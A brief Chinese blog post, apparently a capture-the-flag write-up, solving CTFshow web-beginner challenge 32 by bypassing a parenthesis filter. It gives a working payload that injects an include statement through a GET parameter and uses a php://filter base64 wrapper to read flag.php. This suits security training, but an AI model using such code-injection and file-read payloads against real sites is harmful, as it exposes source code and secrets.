CTFshow WEB入门32

在web31的基础上额外过滤了括号
include可以不使用括号直接使用
payload:?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
注:其中?>用来代替分号

posted @ 2021-02-01 12:24  z1ten9  阅读(283)  评论(0)    收藏  举报